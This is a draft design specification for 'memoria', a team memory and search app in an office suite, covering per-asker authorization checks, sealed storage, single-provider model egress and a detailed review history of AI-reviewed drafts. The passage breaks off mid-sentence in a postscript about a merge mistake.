# 🤖 memoria — design

The Oficina suite's memory. One instance per team, at
`<team>.memoria.oficina.works`.

**Status:** draft 5, 2026-09-04; **amended 2026-09-06** with the suite
sharing doctrine (Appendix A.4), the TensorX provider decision, §8.4's
shape, and slice 1's client half. Not draft 6: draft 6 is the eleven
draft-5 findings, which are still unfixed and still listed in §13.

**Consumed suite rulings.** This spec consumes `oficina/suite`
`docs/superpowers/specs/2026-09-05-suite-sharing-doctrine.md` at
**revision 7, commit `2b78680`** — with two amendments adopted since and
not yet reflected here as a version bump: revision 8 (the module's
importability, now closed) and **revision 10, which adds `AHEAD`** (§4.1).
The module this repository pins is `60b01a8`, which is revision 8's merge.
Gate 9 fails a spec more than one revision behind, so this citation is
owed a bump the moment the suite's branches merge; they cannot, because
suite CI is unconfigured (§13). Rulings 1, 3, 4, 6, 7, 9, 14 and 15 are
cited and never restated (suite ruling 7) — 15 at §5's custody mark, which
is where "only the `team` rung is team-visible, so custody keys on the rung
and never on the link" decides what memoria may hold. Not consumed yet: the hand-off
(suite §7) — §9.1 records why memoria refuses one built on its own
material — and S8, which needs a designated-area grant memoria has no UI
for. S6 is cited as a specification; suite §12 step 4 builds it.

Review history, per AGENTS.md §Review. None of these models wrote the
draft they reviewed; all drafts were written by Opus.

| Draft | Reviewers | Verdict |
|---|---|---|
| 1 | GPT Sol (commandcode), Fable | REQUEST CHANGES ×2 — 12 and 21 findings, three structural gaps found by both |
| 2 | GPT Sol via Codex on a ChatGPT subscription — **it reported its own model id as `gpt-5`, which disagrees with the `gpt-5.6-sol` Codex labelled it; recorded as the discrepancy it is rather than resolved** | REQUEST CHANGES — 4 ANSWERED, 1 REWORDED, 6 PARTIAL, 1 blocker and 6 new findings |
| 3 | Fable | REQUEST CHANGES — 22 findings. Ten were recorded in §13 as acknowledged and not fixed; draft 4 fixes them. (This row read "none yet" while §13 recorded the review as done; §13 was right.) |
| 4 | Claude Fable 5.1 (`claude-fable-5-1`) | REQUEST CHANGES — 16 required changes. Draft 5 is those sixteen; §1.6 says where each went |
| 5 | Dispatched to Fable; **the reviewer reported itself as Claude Opus 5 (`claude-opus-5`), which is the model that wrote drafts 4 and 5.** Recorded as the discrepancy it is, exactly as draft 2's was. If the self-report is right, this review does not satisfy §Review and draft 5 still needs a reviewer that did not write it | REQUEST CHANGES — 11 required changes. 12 of draft 4's 16 findings graded REMOVED; the two the review was told to be hardest on (post-restore, the breaker) came back PARTIAL |
| 3, §8.3 provider amendment | Fable | REQUEST CHANGES — 4 MAJOR, 4 MINOR, 2 NIT. All applied; §1.7 records what it changed |
| 3, §8.4 and decisions 13–14 | Fable | REQUEST CHANGES — 5 MAJOR, 4 MINOR, 1 NIT. All applied. It found §8.4's central argument resting on a misreading of §6.5 and §4.1; §1.8 records what it changed |
| 3, gate 17 + live-key verification | Fable | REQUEST CHANGES — 3 MAJOR, 4 MINOR, 3 NIT. All applied. **It mutation-tested gate 17 itself** and found five idioms the gate blessed, including one that served a declared path outside the session gate; §1.9 records what it changed |
| 3, suite doctrine adoption (A.4) | Fable | **REQUEST CHANGES — 1 BLOCKER, 9 MAJOR, 3 MINOR, 1 NIT.** All applied. The blocker: §4.1 adopted a custody intersection that was not the doctrine's, could not fail, and left the leak it claimed to close. §1.10 records what it changed |
| slice 1's S2 client, gates 33 and 21, the merge | Fable | **REQUEST CHANGES — 8 MAJOR, 4 MINOR.** All applied. It found a conflict marker committed into `.gitignore` (which `make ci` cannot see), an egress exemption paid by a test that did not exist, "one predicate" untrue of production, `S7` reintroduced by the merge into the sections that retire it, and four green mutations in the sibling client — including a silent value that rendered a count. §1.11 records it |

§1.2 records what the draft-1 reviews changed, §1.3 what the draft-2
review changed, §1.4 what the review of the built code changed, §1.5 what
the draft-3 review changed, and §1.6 what the draft-4 review changed.
**§1.7 to §1.10 record the suite strand** — the provider decision, §8.4's
shape, the gate review and the doctrine adoption — which ran in parallel
on its own branch and merged on 2026-09-06.
**Draft 5 has been reviewed once, with the attribution caveat in the table
above, and returned REQUEST CHANGES. Its eleven required changes are NOT
yet fixed** — they are recorded in §13 under "Draft-5 review, not yet
fixed", the same way draft 3's ten were, rather than quietly carried.
Draft 6 is those eleven, and four of them wait on the NEEDS PAUL rulings.

Numbers in §7 are now measured rather than asserted, and recorded in
`docs/BENCHMARKS.md` with the machine and command. Doing that found draft
2's FTS figure wrong by half.

---

## 0. The one rule

> **memoria never speaks a passage without asking whoever owns it
> whether this person may see it, right now.**

Draft 1 said *"memoria indexes only what the whole team can already see,
and it never speaks a passage without re-checking that this is still
true"*. Both reviewers showed that sentence does not survive contact with
the suite: "the whole team" is not one fact (§1.2 gap 1), and the
re-checking was specified for generated answers but not for ordinary
search (§1.2 gap 2).

The rule above replaces it, and it splits by provenance because the suite
does:

- **Content copied from a sibling app** — the sibling is the authority.
  memoria asks it about *this person* on every path that speaks a
  passage. memoria evaluates nothing.
- **Content that has no other owner** — Notion, Drive, forwarded mail,
  uploads. There is nobody to ask, so **memoria is the app of record**.
  What that authority consists of is §4.2's two facts and nothing else —
  the asker is admitted, and the document is present and not deleted.
  **memoria holds no per-person grants**, here or anywhere: holding them
  would be the authorization model §4.3 says it does not have. Drafts 1
  through 4 all said "its own grants are authoritative", which named a
  table that does not exist and never will.

The second rule is Sheets' rule, unchanged: **the bucket never holds a
plaintext cell.** For memoria this binds harder than it looks, because an
embedding is a plaintext cell in a costume — §3.1.

---

## 1. Settled decisions (don't relitigate casually)

| # | Decision | Rejected alternative | Who, when |
|---|---|---|---|
| 1 | **The suite is the app; the team is the boundary; the implementer declares the process set.** A team's instances of sheets, docs, calendar and memoria are one trust domain. | Four boundaries, one per process — memoria could then hold only person-initiated snapshots, stale the moment taken | Paul, 2026-09-03 |
| 2 | **Not a doctrine change.** CARLOS apps to date have been single processes, so process and app coincided. Oficina's app is a suite. The doctrine is that the implementer chooses the boundary; this is applying it, not amending it. | Filing it as a family ruling at `carlos/pegamento`, the way home §2.3 filed its divergence | Paul, 2026-09-03 |
| 3 | **Team-visibility is a CUSTODY rule; the per-asker check is the AUTHORIZATION rule.** Nothing enters memoria from a sibling unless it is team-visible there, which bounds what memoria holds. Who may *read* it is asked of the owning app, per person, per query. | Draft 1's "one ACL: is a member of this team", which conflated the two and left membership drifting across four tables | Paul, 2026-09-03, after review |
| 4 | **Model egress is permitted to one named provider**, per-team opt-in, fixed by the team owner, named on every answer **and on every derived artefact** (widened 2026-09-05 under suite **§8's binding sentence**, which says "every artefact it produced" and means it — ruling 6's own row says "disclosed", so the phrase is §8's and the citation should not borrow the ruling's number for it — an answer is transient, a §5.2 artefact outlives the query and is regenerated when a source changes, so it can carry a different provider from the one that first made it), disclosed in the README's first paragraph. | No egress at all; OpenRouter choosing per question; a local model only | Paul, 2026-09-03. **The derived-artefact widening is not his**: raised by the memoria session and adopted into A.4 on 2026-09-05, and he has not ruled on it — §13 |
| 5 | **The search floor works with AI switched off**, and is the product. **With AI off, nothing leaves the instance at all** — which §3.2 shows is a larger difference than draft 1 realised. | An answer-first product with search as a fallback | AGENTS.md §Authorship, applied |
| 6 | **Embeddings and FTS5 postings are content.** They never reach replicated SQLite or the bucket unsealed. | Treating a vector as a derived artefact outside §0's scope, on the grounds that no plaintext bytes appear | Fable trust pass, adopted 2026-09-03 |
| 7 | **Every SIBLING call is a pull. memoria exposes no sibling-facing surface.** Its ingest endpoint serves external connectors only, which are memoria-owned content, not a sibling push. | An outbox per sibling; and draft 1's §9, which specified the push surface this decision forbids | Fable contract pass; corrected after review |
| 8 | **Provenance or deletion, at `(id, revision)` granularity.** A derived artefact whose provenance stops resolving *or whose source changed* is deleted or regenerated. memoria never fine-tunes. | Draft 1's id-level rule, which left "the Q3 target is X" standing after the source said Y | Fable ingestion pass; corrected after review |
| 10 | **memoria never does arithmetic. A number comes from a cell, or from Sheets' engine via S6.** S6 takes an enumerated function over cell refs — never expression text — so memoria is never a formula author. | memoria computing and showing its working (a second calculator, arrived at one `mean` at a time); writing a formula into a scratch sheet (a write, forbidden by §6.4) | Paul asked for numeric questions, 2026-09-03; shape ruled by Fable and GPT Sol independently, converging |
| 11 | ~~**Admission is derived from the siblings.**~~ **SUPERSEDED 2026-09-05 by suite ruling 4** — the home owns identity, the team and the membership roster; instances pull it (suite call 8) and memoria admits from that roster in suite shape, from the owners list in lone shape. S7 is retired. The old rule was right that memoria holds no members table of its own and wrong about where the answer comes from, and it made a guest a member: "at least one sibling says MEMBER" has no value for someone on no roster. §4.3. **The owners carve-out survives the supersession and is still stated rather than discovered:** the platform-configured owners list the app refuses to start without bypasses the roster entirely. It admits operators, is fixed at provisioning, does not grow, and carries a revocation tail nothing measures: the 15-minute figure it used to cite was S7's cache, which no longer exists, and the roster's TTL does not apply to a list the roster never contained. **An owner's removal is a redeploy, and that is the honest statement of the tail.** Under ruling 4 that is no longer an exception to S7 but the whole of lone-shape admission, and in suite shape it sits beside the roster rather than inside it. | Draft 2's own members table, which left a person removed everywhere else still able to read memoria-owned content; and, for the carve-out, leaving it implicit in §2 and §4.3, where drafts 3 and 4 left it and where it read as a contradiction rather than a carve-out | after the draft-2 review, 2026-09-03; carve-out recorded explicitly 2026-09-04; superseded 2026-09-05 |
| 12 | **Name: `memoria`.** House convention is plain Spanish office nouns. A *memoria* is both a memory and, in Spanish office usage, a written record. | `archivo`; `cerebro`; `base`; anything English | Paul, 2026-09-03 |
| 13 | **The provider is TensorX, and memoria supports exactly one.** A team owner's choice is on or off, not which — a configurable base URL would let an owner reinstate a proxy while the answer still printed "one named provider". Chosen for EU jurisdiction and open weights, criteria decision 4 did not state, at a known cost in id-pinning and frontier quality (§8.3). | OpenRouter (a proxy: two parties see content); OpenAI direct (better id-pinning, worse jurisdiction and cost) | Paul, 2026-09-04, both halves — *"we go with exactly one for now: TensorX. If we want to swap that later we can."* Swapping the *generation* provider is a code change and a review, not a setting; swapping the *embedding* provider is that plus a full corpus re-embed unless the new host serves the same open weights (§8.3, §13) |
| 14 | **memoria is a search page, not a chat.** One GET search form, `?q=`, one query in and one page out, with `/documents/{id}` as the only other passage surface. This follows from decision 5, not from decision 3 — §8.4's invariant is what decision 3 requires, and a conversational surface could satisfy it. | A chat UI with citations; a threaded follow-up. Deferred to §12, not forbidden — the invariant forbids the leak, this row chooses the shape | Spec author, 2026-09-04, answering a question Paul asked; **confirmed by Paul 2026-09-05**, parking the conversational surface in §12 rather than forbidding it |
| 15 | ~~**The fact box calls no model, ever.**~~ **AMENDED BY PAUL, 2026-09-19.** **Paul's ruling:** *"do as much as possible with deterministic analysis, and then attempt to build metadata with the best value models via TensorX that make sense"* — asked specifically whether a postal address, which has no validator, should be extractable by a model, and answering yes in general terms. **The implementation constraints are the spec author's, proposed and not ruled:** extractive only; every value a byte-exact span of a sent passage; a model never touches a validator-backed kind; labels never model-written; model rows marked 🤖 and named; `model.cheap` as the initial tier. §8.8 (the deterministic layer), §8.9 (the model half) | The strict reading, which was the spec author's and not Paul's and which this row carried from 2026-09-14 to 2026-09-19: it made "has a checksum" the boundary of the feature rather than the boundary of the deterministic layer | **The ruling is Paul's, 2026-09-19.** The constraints listed in the first column are the author's and §13 records them as open to his override |

**Three of these are now suite rulings, and this spec cites them rather
than restating them.** Decision 1 is **suite ruling 1**, decision 3 is
**ruling 3**, decision 4 is **ruling 6**. They are unchanged in substance;
what changed is where they live. Suite ruling 7 is why: every app spec
restating the contract in its own words is what drifted, so an app spec
cites the doctrine and never restates one. Where a row below still carries
the reasoning, that is history and not a second copy — the binding text is
the doctrine's, at `oficina/suite`, revision 7, commit `2b78680`.

**Decision 11 is superseded** by ruling 4, and decisions 13 and 14 are
memoria's own and stand: suite §8 adopts 13's "the recipient is the app's,
never the team's", and ruling 3's "never cached, at any scope" is the
invariant 14 rests on.

### 1.1 The proposal review, and what it killed

Before draft 1 existed, the *proposal* — ingest everything, store a
per-viewer copy, route to whichever model OpenRouter picks — was reviewed
and rejected on six counts. Four attached to one choice, *store a
per-viewer copy*. They remain live traps for anyone widening this design.

- **A per-viewer ACL on a synthesised answer is not expressible.** Sheets
  §4.5's access is a hand-written grants join; memoria cannot evaluate it
  and a copy drifts. **Killed by decision 3** — memoria now evaluates
  nothing, it asks.
- **Revoke has a weeks-long tail.** Sheets §9.1.1: the outbox drains on
  wake and on share mutation, "not on a ticker… a failed upsert may wait
  weeks". **Killed by decisions 3 and 7**: authorization is asked live,
  never cached, never pushed.
- **The home cannot query memoria.** Home §0, home §2.2. **Accepted, not
  worked around** — §9.2.
- ~~**Blocked on person refs** (home §13 step 4).~~ **No longer true, and
  it was the more expensive kind of wrong.** S2 needs a *typed asker
  subject* (suite §3), which in lone shape is a lowercased address; sibling
  tokens are a switch independent of the home token. So slice 1 runs
  against Sheets and Docs before any home exists — suite §12 steps 2 and 3.
  memoria had recorded itself blocked on something that was not in its way.
  Corrected 2026-09-05 via A.4; §11.

**A citation note.** That review is recorded in session memory and in
this section; it is **not** in any repo file, so a reader cannot open it.
Draft 1 cited it as though it were a document. Nothing here should rest
on it that is not also argued here.

### 1.2 What the two reviews changed

Three structural gaps, each found by both reviewers independently.

**Gap 1 — membership was four unreconciled tables.** Sheets has its own
`members`, Docs its own `memberships`, memoria its own. The home is
forbidden from being the authority (home §2.2: "Never holds an
authorization model") and no home call carries membership between
instances. Draft 1's §4 claimed a person removed from the team is
"refused at the door with zero latency"; in fact removing them in Sheets
did nothing to memoria, and memoria kept serving them Sheets content.
Draft 1's S2 asked *"is item X team-visible?"*, never *"is this asker
entitled to it?"*.

The one-ACL ruling did kill per-item drift. It moved the drift onto the
**membership** predicate, and draft 1 did not notice.

**Fixed by decision 3:** S2 now carries the asker. memoria asks the
owning app *"can person P see items X at revision R?"*, and that app
answers from the grants join it already maintains. Membership and
visibility become one question answered by the only correct evaluator, so
there is nothing left to reconcile.

**Gap 2 — the search floor bypassed the gate.** `GET /query` returns
passages with or without `answer=1`, and nothing required the
passage-only path to call S2. §0's promise therefore held for generated
answers — the smaller half of the product — and not for search, which
decision 5 calls the product itself. **Fixed by §8.1:** one gate, both
paths.

**Gap 3 — external sources had no owner to ask.** Drive, Notion, mail and
uploads cannot map their native ACLs onto team-visibility, and draft 1
gave them no re-check at all; revocation surfaced only on a later
enumeration diff, and memoria runs no timers. Draft 1's claim that it
"forgets exactly when the sources do" was false for exactly the sources
§3.3 says make memoria a bigger target.

**Fixed by §0's split:** for this content there is nobody to ask, so
memoria owns it outright, and §4.2 says so instead of implying a re-check
that cannot exist. Drafts 1–4 wrote that fix as "its own grants are
authoritative rather than a copy". That sentence was the defect it was
written to remove, one section over: it names a per-person grants table,
memoria has none, and §4.2's authority is admission plus presence.

Beyond the three, both reviews found the same arithmetic errors (§7), the
same contradiction between §9 and decision 7, and the same over-claim in
§6.3. GPT Sol alone found the restore-serves-deleted-content ordering bug
(§7.4) and the missing token-rotation handover (§6.2). Fable alone found
that the README was false about egress volume (§3.2) — the single most
product-damaging finding of the two.

### 1.3 What the draft-2 review changed

Draft 2 was reviewed by GPT Sol via Codex. It confirmed five fixes as
answered (the search bypass, the pull/push contradiction, the barrier
count, the rotation protocol, the corpus-count inconsistency) and found
one blocker plus six live findings. Draft 3 answers them as follows.

**The blocker is not mine to close, and that is the honest position.**
memoria declares the suite one trust domain and pulls plaintext bodies
from siblings. Three source specs currently forbid exactly that — home
§2.2 *"Never federates. Data does not cross an instance boundary."*,
Sheets PRODUCT.md principle 3 *"Never design a flow that implies data can
move to another instance"*, Docs §8.2 *"'Sharing is membership' forbids
data crossing the instance boundary."* **memoria cannot overturn another
app's settled decision in its own table.** Decision 1 is Paul's ruling and
stands, but it binds Oficina only once the source specs adopt it. Threads
are open (§13); until they are answered, slice 1 is blocked on agreement,
not on code.

**"Nothing left to reconcile" was still false.** S2 fixed sibling
content, but admission used memoria's own members table and so did
memoria-owned content — so a person removed from Sheets and Docs, and left
in memoria, could still read the team's Notion, Drive, mail and uploads.
**Fixed by decision 11:** admission is derived from the siblings.

**A stale revision is not a denial.** Draft 2 mapped it to
`NOT_VISIBLE`, which §4.1 silently omits — recreating the
plausible-empty-list failure the same draft claimed to have removed.
**Fixed by adding `STALE`** (§4.1), which withholds loudly and refetches.

**S3 could not do what it promised.** It took `(id, revision)` with no
asker, yet claimed the sibling "re-runs its grants join at fetch time".
There was no person in the call. **Fixed by deleting the claim, not by
adding a person:** S3 takes no asker, and §6.1 spells out why — custody is
person-less, so the call that fills the corpus can be made at all, and a
per-person S3 would have made ingest impossible.

*This paragraph said the opposite until 2026-09-05 — "S3 carries the
person ref too" — while §6.1 three sections later said it does not. Both
could not be right, and the summary was the wrong one. Caught by the suite
doctrine's review of memoria (A.4), which is the third time in this
document that a §1 summary and its own body have disagreed.*

**Derived artefacts had no algorithm for external or mixed provenance** —
S2 exists only at siblings. **Fixed** in §5.2.

**Restore had no durable deletion state.** Replaying tombstones from a
restored backup replays a log that predates the deletion, and retiring the
superseded snapshot leaves a restored database pointing at a blob that is
gone. **Fixed** in §7.4.

**Live authorization had no availability design** — no deadline, no
concurrency policy, no partial-result contract, on the product's primary
path. **Fixed** in §6.5, and it is the finding most likely to change the
product rather than the spec.

**The gates were weaker than the claims.** Gate 5 proved an
authorization call happened, which stays green with a constant `VISIBLE`
or the wrong person ref. **§10 rewritten** accordingly.

One finding was withdrawn by the reviewer on its own second look (S2
transport failures needing a separate finding), and its substance is
folded into gate 6 anyway.

### 1.4 What the code review changed

Slice 0 was built, then reviewed by Fable — the first review of the code
rather than the design. It found the spec broadly honest and the sealed
store real, and the gates that were supposed to prove it mostly unable to
fail. Three consequences reach this document.

**§3.2 gained two entries.** The sign-in dial, which made a claim in §3.6
false; and the `external_id` oracle, which put a plaintext-derived
identifier in a column §3.2 described as coordinates.

**§3.6's AI-off sentence was wrong.** "Nothing leaves this instance" is
not true of an app whose sign-in asks a stranger's domain a question.
"No document leaves" is, and is still the claim worth making.

**§7's chunker description was aspirational.** What was built dropped
headings in the commonest Markdown form. The spec now describes the
chunker that exists.

The general lesson, and it belongs here because §10 is built on the
opposite assumption: **three of five gates marked "mutation-tested" could
not fail for the thing they named.** A gate is a claim about the world,
and an unmutated gate is an unverified claim — including, twice on this
branch, a gate whose subject had been deleted while it stayed green.

### 1.5 What the draft-3 review changed

Draft 3 was reviewed by Fable: 22 findings, REQUEST CHANGES. Ten were
recorded in §13 as acknowledged and not fixed rather than quietly
carried, and draft 4 is those ten: **six weak predicates, two plain gaps,
one warm-up that could not be made, and one correction made inside the
draft itself.** Draft 4 wrote "those ten" over a list that added to nine,
because the warm-up and the correction were folded together; they are two
items and are counted as two below.

**Six were a predicate that could not fail.** `MEMBER` meant "known to
this app", so a guest satisfied it. `MIXED_UNITS` could not fire on three
cells formatted `General`, so a wrong average got certified. The circuit
breaker's "*everything*" fired on the routine case, so its notice would
be learned and ignored before the day it was true. Gate 2 named "a
threshold" and never gave one. Gate 4's credential half asserted the
absence of a link the test app never sends. The S7 cache had no TTL, so
it took `rastrillo/auth`'s 30 days by omission. Each is AGENTS.md's rule
about guards written to pass, arriving in a different costume — and the
missing TTL is the other rule as well: a default is not a decision, the
way a failed count is not a zero.

**Draft 4's answer is to make each of them fail by default.** A unit is
certified rather than contradicted (§8.7). Admission requires a positive
statement of team membership, and a sibling that cannot make that
statement admits nobody (§4.3). A gate asserting an absence must first
assert the presence of the thing whose absence it checks (§10). Where a
number was missing, draft 4 gives one and says what it costs.

**Two were plain gaps rather than weak guards.** S2 had no value for a
sibling that is *behind* memoria, which a restore produces and which fell
through to the one silent value — fixed by `AHEAD` (§4.1). And derived
provenance was not transitive, so two hops laundered what one hop cannot
— fixed by flattening provenance to roots at generation time (§5.2).

**One was a warm-up that could not be made.** §6.5 had memoria fire a
warm-up `S7` on its own wake. `S7` takes a person ref and there is nobody
there on a wake, so no fixture could ever have received that call. The
warm-up is an `S1` poll now, which is the call that already has no asker
— and which a gate can therefore observe (gate 24).

**And one is §1.4's lesson repeating itself inside the same draft.** The
warm-up error is draft 2's per-person `S3` again, made three sections
after the correction for it was written, in the same document, by the
same author. It is counted separately because it is a different kind of
finding: the item above is a call that has to change, this one is the
observation that writing a correction does not inoculate the next
section against the mistake it corrects. §10's two rules exist because of
it.

### 1.6 What the draft-4 review changed

Draft 4 was reviewed by Claude Fable 5.1, which wrote none of the drafts:
REQUEST CHANGES, 16 required changes. Draft 5 is those sixteen. Four
groups, and the first is the one that matters.

**A fix that renamed its problem instead of removing it.** Draft 4
rewrote §8.1's circuit breaker because draft 3's fired on the routine
case, and the rewrite's prose promised "a property of the sibling, not of
one asker" — while its predicate still counted zero `VISIBLE` across
whoever happened to query that day. A 24-hour outage of `UNKNOWN`s
therefore tripped the *refusal* breaker; three Docs-only members querying
on a day the Sheets user was away tripped it too. The predicate counts
`NOT_VISIBLE` now, and the signal is a per-asker transition (§8.1). This
is the third time this project has shipped prose that claimed more than
its predicate delivered, which is why it is first.

**A silent-omission hole in the fix for a silent-omission hole.**
`AHEAD` was added in draft 4 to stop a sibling's restore reading as an
empty list. Draft 4 then specified no reconciliation: chunks at revisions
the sibling no longer has were withheld one at a time, forever, while
still consuming top-k — so a page of 50 could render nearly empty with no
notice, the cardinal sin arriving through the door `AHEAD` was cut to
close. §4.1 now specifies the re-announce as a complete statement,
retirement under gate 7's rule, revision override in either direction,
and the removal of a reconciling source from the ranking. Gate 27 is new
and holds all of it.

**Three contradictions the drafts carried rather than resolved.** §8.7
said both that S6 is called only when units are certified and that S6
returns `UNIT_UNKNOWN`; memoria certifies now and S6 does not (§8.7).
§2 said memoria holds the owners list and holds no roster four lines
apart; the owners list is not a roster and decision 11 now carries it as
a stated exception. And "memoria's own grants are authoritative" survived
in three places after §4.2 established there are no per-person grants —
the same defect draft 3 shipped between §2 and decision 11, relocated
(§0, §1.2, gate 18).

**Nine gates that could not fail for the thing they named,** which is
§1.4's lesson landing on §10 itself: gate 2 asserted an absence with no
presence assertion, gate 4 named a route from memory, gate 23's
concurrency half was always-red or never-red on its own fixture, gate 24
raced the first query, gate 25's field-name regex let `principal` and
`who` through, and gate 26 named the instance key where the code
fingerprints under the DEK — verified in `internal/memoria/store.go`,
which calls `s.sealer.Fingerprint`, and the sealer holds the DEK. A gate
that goes red on correct code is worse than no gate.

### 1.7 What the provider review changed

The §8.3 amendment — OpenRouter out, TensorX in — was written by Opus and
reviewed by Fable, which returned REQUEST CHANGES with four MAJOR findings.
Two of them are the same mistake in different clothes, and it is the
mistake §1.4 is about: **stating a rule and then breaking it in the
paragraph that states it.**

**§8.2 wrote a pinning rule its own selections failed.** The rule — a model
id that can move under a team without the team changing it cannot be
printed on an answer — is right, and generalises `openrouter/auto`'s
disqualification properly. Then it selected `moonshotai/kimi-k3` and
`z-ai/glm-5.3-flash`, neither datestamped, both plausibly aliases over
dated checkpoints. The fix is a datestamped id where one exists, gate 30's
canary where none does, and §13 recording that the vendor's id-immutability
policy is unread. The draft had even quoted the one datestamped id in the
catalogue as evidence — and it was the model it did not pick.

**§8.3 claimed as established what §13 called untested**, three paragraphs
apart. Worse, the verification it proposed could not have established it:
the live call settles whether one model *name* is proxied, not whose GPUs
run the weights. "One contractual counterparty" is not "one organisation
sees the corpus" — a subprocessor sees content in §3.2's sense — so the
claim is now written as narrowed rather than closed.

**§7.2 specified a gate that could not fail.** It said a mutation of the
4096→512 renormalise would be caught by watching recall fall. But cosine
similarity is scale-invariant: against a true cosine, skipping the
renormalise changes no ranking, and the gate stays green forever. The spec
had never said whether search computes cosine or a raw dot product. It now
says dot product — which is what §7.3's flop count always assumed — and
gate 28 asserts unit norm deterministically instead of inferring it from
quality. This is the fourth gate in this project to have been written in a
shape that could not go red, and the first caught before it was built.

**Decision 13 exists because of this review.** The amendment named a
provider in §8.3 without recording the ruling in §1, which AGENTS.md says
is how a settled decision gets relitigated in a drive-by.

The general lesson, distinct from §1.4's: **a rule and its first
application should be reviewed by different people.** Whoever writes the
rule has just persuaded themselves, and is the worst-placed reader to
notice that the very next paragraph fails it.

### 1.8 What the second provider review changed

The §8.4 amendment — *memoria is a search page, not a chat* — was reviewed
by Fable, which returned REQUEST CHANGES with five MAJOR findings. The
ruling survived; the argument for it did not, and the way it failed is
worth more than the ruling.

**The case was built on a misreading of this spec.** §8.4 claimed a chat
could not be built correctly, because re-authorizing a transcript each turn
would breach §6.5's deadline. §4.1 caps a batch at **256 pairs per call**
and §6.5 says **one page is one round of concurrent calls, the floor is the
slowest sibling and not their sum**. A four-turn transcript of eight
passages is 32 pairs: one batch, one round, the same floor as a fresh
query. A correct chat is affordable. The draft had also conceded the point
in the act of denying it — *"re-authorizing the whole transcript on every
turn is the only correct version"* says a correct version exists.

**Its other argument proved too much.** *A chat transcript is a cache of
authorized passages* — true, and equally true of a search results page left
open in a tab, and of `/documents/{id}`, which renders a whole document and
stays open indefinitely. That is a fact about rendered pages, not about
chat; it now sits in §3.2's leak list where it applies to everything.

**What survived is narrower and enforceable.** The real rule is about
**re-speaking**: no passage crosses a request, in a response or in a model
prompt, without §4.1 in the request that carries it. That is decision 3
applied to rendering, it is what §8.5 already said about the model, and
gate 32 asserts it against the prompt builder. Carrying query *text*
forward breaks nothing.

**And the shape is a choice, so it is recorded as one.** Decision 14 rests
on decision 5 — the search floor is the product — not on decision 3. A
conversational surface that keeps the invariant is deferred to §12, to be
argued on its merits. The row is attributed to the spec author with Paul
unconfirmed, because unlike decision 13's two halves it was not his ruling.
(He confirmed it on 2026-09-05; the attribution stands as written, since
who *made* a ruling and who *approved* it are different facts.)

The lesson, distinct from §1.4's unfailable gates and §1.7's rule broken in
the paragraph that states it: **a preference will always find a rule that
seems to compel it.** The search page was the right answer for
decision 5's reasons. Reaching past those for decision 3 made a choice look
forced, and cost two misread sections to do it. When a constraint arrives
conveniently, check it against the text rather than the memory of the text.

### 1.9 What the gate review changed, and the rule it produced

The branch's third review covered gate 17 and the live-key verification.
Fable returned REQUEST CHANGES with three MAJOR findings, and one of them
is the most useful thing any review has done here.

**It mutation-tested the gate itself.** Gate 17 shipped with a comment
naming three mutations, each verified red. A reviewer took the test into a
scratch copy and tried five more — all ordinary chi and `ServeMux` idioms,
none exotic — and **all five passed green.** `r.Route("/chat", …)` was
blessed by the declared `"/"` inside it. `r.With(mw).Post` was invisible
because the receiver is a call, not an identifier. `r.Delete` passed on a
path declared only for GET. `r.Handle("/")` bound every method at once. And
`mux.HandleFunc("/documents", …)` served a **declared** path while
bypassing `requireSession` — worse than an undeclared route, because the
allowlist actively approved it.

**The rule that follows, and it belongs in AGENTS.md:** mutation-testing
your own gate tests the mutations you thought of, and those are the ones
you already defended against while writing it. Three green mutations chosen
by the author is not evidence the gate works; it is evidence the author is
consistent. **The mutations must be chosen by someone who did not write the
gate.** This is §Review's argument, one level down: the reviewer of a rule
should not be its author, and neither should the adversary of a test.

The rewrite keys on method *and* path — which §10's own list had declared
all along and the test had not implemented — and separates the chi and
`ServeMux` namespaces. Eight mutations now, all verified. The rewrite also
nearly shipped its own bug: following an arbitrary selector chain to find
the receiver made `r.URL.Query().Get("err")` resolve to `r`, reporting two
query parameters as undeclared routes. Caught by running it.

**The other two MAJORs are the familiar shape.** §8.3 still asserted
TensorX "runs the weights it serves" on the strength of a 403 that had no
control probe — the reading recorded was the middle of three, and the worst
one is that the model name is in their routing table and merely gated. And
two of Paul's four rulings were announced as recorded in QUESTIONS while
being in neither §1 nor §13, with the interpretation of the load-bearing
one living only in a commit message. That is §1.8's failure by omission:
the strong reading asserted where reviewers do not look.

### 1.10 What the adoption review changed, and where an adoption goes wrong

A.4 was reviewed three times in the suite repo before memoria adopted it.
memoria's *application* of it was then reviewed once, by Fable, and came
back REQUEST CHANGES with a blocker and nine majors. The distribution is
the lesson.

**The blocker was a rule invented while citing the section that forbade
it.** §4.1 needed the custody intersection. The doctrine puts it in the
**app of record, inside S2**: the sibling runs its grants join for the
named asker and then answers `NOT_VISIBLE` for anything not team-visible.
memoria wrote instead that it would render a passage when S2 says
`VISIBLE` **and** the item was team-visible *when acquired* — a rule that
is **vacuous** (everything memoria holds came through S3, which serves
only team-visible items, so the second half is true of every held item),
that **does not close the leak** (a document downgraded from `team` to
`granted` with the asker's grant intact passes both halves), and that
**argued against the doctrine's own mechanism** as a ruling-3 violation.
The doctrine had explicitly retracted that reasoning — *"a later
visibility change is exactly what the defect turns on"* — in the section
memoria cited for it.

**The other eight majors are one shape: the commit checked what it
opened.** S7 was retired in §1 and §4.3 and left alive in the §6.1
contract table, in §6.5's warm-up, in §4.1's "this subsumes membership",
in §2's members table and in five §13 items still listed as open after
this commit closed them. §11 corrected the home dependency in one
paragraph and reasserted it twelve lines below, in the same commit. The
Docs §11.2 qualification was deleted from §8.3 and still owed in §11 and
§13. The blanket write ban went from §6.4 and stayed load-bearing in §3.3,
§8.5 and decision 10's rejected column.

**The rule, and it is specific to adopting someone else's document:** the
risk in an adoption commit is concentrated in the sections you did *not*
open. A rewritten section has been read twice; an untouched one that
depended on the old rule has been read never, and it now contradicts the
new one while looking untouched and therefore fine. **Grep for the retired
thing by name before claiming it is retired** — `S7`, `person_ref`,
`members table`, `forbidden by §6.4` — and read every hit.

Two smaller ones worth keeping. §4.1 had inverted *why* the asker subject
is typed, saying the type is fixed at configuration because instances are
provisioned together — which is the reasoning suite §3 names and rejects,
"an operational habit, not an enforced property". And gate 21 claimed its
fixtures had been replaced; there were never any fixtures, the gate does
not exist, and the entry now says so.

**A postscript, because the same mistake then happened twice more in one
hour and neither instance was caught by a rule that exists to catch it.**
On 2026-09-06 this branch merged a local `main` that was **five commits
behind the remote**, having compared the wrong ref; in the same hour the
suite session read `617eb2a` — this branch's base — as memoria's `main`
and concluded draft 5 was unmerged, then made a doctrine ruling partly on
